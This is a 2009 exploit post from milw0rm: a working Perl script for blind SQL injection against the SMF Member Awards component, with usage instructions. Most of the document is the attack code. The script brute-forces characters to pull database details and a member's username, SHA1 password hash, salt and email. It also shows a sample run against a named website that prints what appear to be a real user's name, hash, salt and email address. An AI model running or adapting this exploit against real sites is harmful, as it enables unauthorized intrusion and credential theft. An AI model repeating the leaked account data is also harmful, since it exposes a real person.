-------------------------------------------------------------------------
SMF Component Member Awards Blind SQL-injection Vulnerability
-------------------------------------------------------------------------
author: eLwaux
thanks: mailbrush, antichat.ru, uasc.org.ua
-------------------------------------------------------------------------
usage:
expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
params:
-v = get version()
-u = get user()
-d = get database()
-an = get User Name (логин)
-ap = get User Password (sha1 хеш)
-as = get User Salt (Ñальт)
-am = get User Mail (емейл)
-------------------------------------------------------------------------
(
also you can modif script source:
$SHOW_ALL = 1; == show brute-step result
$SHOW_COUNT_REQ = 1 == show req's count
$OPTIMAL = 1 == optimal brute
)
-------------------------------------------------------------------------
example:
http://scrubs.net.ru/cms/forum/index.php
] Host: scrubs.net.ru
BAD answer = 'Ошибка'
] version() = 5
] user() = us5729a@localhost
] database() = db
] id=1 NAME = zhbanito
] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
] id=1 SALT = fe81
] id=1 MAIL = shpioner@mail.ru
-------------------------------------------------------------------------
exploit (perl):
#! /usr/bin/perl -w
use IO::Socket;
use warnings;
#use threads;
#use threads::shared;
$SHOW_ALL = 1;
$SHOW_COUNT_REQ = 1;
$OPTIMAL = 1;
print " SMF ] MemberAwards 1.0.2 exploit\n";
print " eLwaux(c)antichat 2009\n\n";
if (!$ARGV[0]) {
print " usage:\n".
" expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}\n".
" params:\n".
" -v = get version()\n".
" -u = get user()\n".
" -d = get database()\n".
" -an = get User Name\n".
" -ap = get User Password\n".
" -as = get User Salt\n".
" -am = get User Mail\n";
exit(0);
}
my $Uid = (!$ARGV[1])?'1':$ARGV[1];
my $pref = (!$ARGV[2])?'smf_':$ARGV[2];
$link .= $ARGV[0].'?action=profile;sa=awardsMembers;u='.$Uid.';id={SQL}';
$getV = $getU = $getD = $getAN = $getAP = $getAS = $getAM = 0;
for (my $i=0;$i<$#ARGV+1;$i++) {
my $q = $ARGV[$i];
$getV = 1 if ($q eq '-v');
$getU = 1 if ($q eq '-u');
$getD = 1 if ($q eq '-d');
$getAN = 1 if ($q eq '-an');
$getAP = 1 if ($q eq '-ap');
$getAS = 1 if ($q eq '-as');
$getAM = 1 if ($q eq '-am');
}
if ($link =~ /[http:\/\/]{0,}(.+?)\/.+?{SQL}/) {
$host = $1;
}
print ' ] Host: '.$host."\n";
$BAD = &getBadAnswer();
my $SFrom = 0;
$SFrom = 41 if ($OPTIMAL == 1);
my $SEnd = 0;
$SEnd = 122 if ($OPTIMAL == 1);
print " BAD answer = '$BAD'\n\n";
print ' ] version() = '.&getVersion(3,5)."\n" if ($getV==1);
print ' ] user() = '.&getUser1($SFrom,$SEnd)."\n" if ($getU==1); # a..z
print ' ] database() = '.&getDatabase($SFrom,$SEnd)."\n" if ($getD==1); # a..z
print "\n";
print ' ] id='.$Uid.' NAME = '.&getAdminName($SFrom,$SEnd)."\n" if ($getAN==1); # 0..9,a..z
print ' ] id='.$Uid.' PASS = '.&getAdminPass($SFrom,$SEnd)."\n" if ($getAP==1); # 0..9,a..z
print ' ] id='.$Uid.' SALT = '.&getAdminSalt($SFrom,$SEnd)."\n" if ($getAS==1); # a..z
print ' ] id='.$Uid.' MAIL = '.&getAdminMail($SFrom,$SEnd)."\n" if ($getAM==1); # a..z
#print "\n";
print ' ] requests() = '.$SHOW_COUNT_REQ."\n"; # a..z
exit(0);
# get BAD answer
sub getBadAnswer() {
$BAD = "An Error Has Occurred!";
if (&req('1+and+substring(version(),1,1)=-1##+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
$BAD = $1;
}
return $BAD;
}
# GET VERSION() METHOD 1 -==--=--=-=-=-=-=-=-=-=-=-==-=--=
# ascii(lower(substring(version(),x,1) WHERE IN (1,...,Y)
sub getVersion($$) {
for($i=$_[0]; $i<=$_[1]; $i++) {
$r = &req('1+and+substring(version(),1,1)='.$i.'##+',1000);
if ($r =~ /<meta name="description" content="(.+?)" .>/) {
if (index($1,$BAD)==-1) {
$SHOW_COUNT_REQ++ if ($SHOW_COUNT_REQ!=0);
return $i;
}
}
}
return '<'.$_[0].' and >'.$_[1];
}
# GET USER() METHOD 1 -==--=--=-=-=-=-=-=-=-=-=-==-=--=
# ascii(lower(substring(user(),x,1) WHERE IN (1,...,Y)
sub getUser1($$) {
return &wherein($_[0],$_[1],'user()',0);
}
# GET DATABASE -==--=-==--=---=-==-=-=-=-=-=-=-=-=-==-=--=
# ascii(lower(substring(database(),x,1) WHERE IN (1,...,Y)
sub getDatabase($$) {
return &wherein($_[0],$_[1],'database()',0);
}
# GET USER METHOD 2 -==--=--=-=-=-=-=-=
# ascii(lower(substring(user(),1,1)))=Y
sub getUser2($$) {
$finish = 0; $s = 1;
$user = '';
while ($finish!=1) {
$gs = 0;
print " user($s): \n" if ($SHOW_ALL==1);
for($i=$_[0]; $i<=$_[1]; $i++) {
if (&req('1+and+ascii(lower(substring(user(),'.$s.',1)))='.$i.'##+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
print " (".chr($i).") $i,\n" if ($SHOW_ALL==1);
if (index($1,$BAD)==-1) {
$user .= chr($i);
print " found $s chars: $i = ".chr($i)." ($user)\n" if ($SHOW_ALL==1);
$s++; $gs = 1;
last;
}
}
}
print "\n" if ($SHOW_ALL==1);
if ($gs == 0) {
if ($user eq '') {return '<'.$_[0].' and >'.$_[1];}
else {return $user;}
}
}
}
# GET ADMIN PASS_HASH -==--=-==--=---=-==-=-=-=-=-=-=-=-=-==-=--=
#smf_members (ID_MEMBER,memberName,passwd,emailAddress,passwordSalt)
# passwd = sha1(strtolower(username.password)
# salt = substr(md5(mt_rand()), 0, 4)
sub getAdminName($$) {
return &wherein($_[0],$_[1],'memberName',1);
}
sub getAdminPass($$) {
return &wherein($_[0],$_[1],'passwd',1);
}
sub getAdminSalt($$) {
return &wherein($_[0],$_[1],'passwordSalt',1);
}
sub getAdminMail($$) {
return &wherein($_[0],$_[1],'emailAddress',1);
}
# NEED FUNCTIONS -==--=--=-=-=-=-=-=-=-=-=-==-=--=
sub req($$) {
$SHOW_COUNT_REQ++ if ($SHOW_COUNT_REQ!=0);
$l = $link;
$l =~ s/{SQL}/$_[0]/;
$r = "GET $l HTTP/1.1\r\nHost: $host\r\n\r\n";
my $sock = sock();
print $sock $r;
read($sock,my $a,$_[1]);
return $a;
}
sub mlist($$) {
$s = '';
for(my $i=$_[0];$i<=$_[1];$i++) {$s.=$i.',';}
return substr($s,0,length($s)-1);
}
sub wherein($$$$) { # ,,,, (1=user,2=else)
print " ] $_[2]\n" if ($SHOW_ALL==1);
my $WHEREIN = 10; # WHERE IN (1,2,3,4,5,6,7,8,9,10)
my $res = ''; my $c = 1;
my $fmin = $_[0];
my $fmax = $_[1];
while ($c>=1) {
my $gs = 0;
for (my $i=0;$i<=int(($fmax-$fmin)/$WHEREIN);$i++){
my $s1 = int($fmin+$i*$WHEREIN);
my $s2 = int(($s1+$WHEREIN)>$fmax)?$fmax:($s1+$WHEREIN);
my $ch = ($_[3]==1)?&getUBRUTE($s1,$s2,$c,$_[2]):&getBRUTE($s1,$s2,$c,$_[2]);
if ($ch ne '?') {
$res.=$ch; print " $_[2]($c) = $ch [$res]\n" if ($SHOW_ALL==1);
$c++; $gs = 1; last;
}
}
if ($gs == 0) { $c=-1; return $res; last; }
}
}
sub getBRUTE($$$$) { #start,end,pos,text
print ' '.$_[0].'...'.$_[1].' ['.$_[2]."]\n" if ($SHOW_ALL==1);
if (&req('1+and+ascii(lower(substring('.$_[3].','.$_[2].',1)))+in+('.&mlist($_[0],$_[1]).')%23+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
if (index($1,$BAD)==-1) {
for(my $i=$_[0]; $i<=$_[1]; $i++) {
if (&req('1+and+ascii(lower(substring('.$_[3].','.$_[2].',1)))='.$i.'%23+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
if (index($1,$BAD)==-1) {
return chr($i); last;
}
}
}
}
}
return '?';
}
sub getUBRUTE($$$$) { #start,end,pos,text
print ' ['.$_[2].'] '.$_[0].'...'.$_[1]."\n" if ($SHOW_ALL==1);
if (&req('1+and+(%23)%0Aselect+ascii(lower(substring('.$_[3].','.$_[2].',1)))+from+'.$pref.'members+where+ID_MEMBER='.$Uid.')+in+('.&mlist($_[0],$_[1]).')%23+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
if (index($1,$BAD)==-1) {
for(my $i=$_[0]; $i<=$_[1]; $i++) {
if (&req('1+and+(%23)%0Aselect+ascii(lower(substring('.$_[3].','.$_[2].',1)))+from+'.$pref.'members+where+ID_MEMBER='.$Uid.')='.$i.'%23+',1000) =~ /<meta name="description" content="(.+?)" .>/) {
if (index($1,$BAD)==-1) {
return chr($i); last;
}
}
}
}
}
return '?';
}
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => $host,
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print " ] connection error!\n";
} while (!$sock);
return $sock;
}
-------------------------------------------------------------------------
# milw0rm.com [2009-06-30]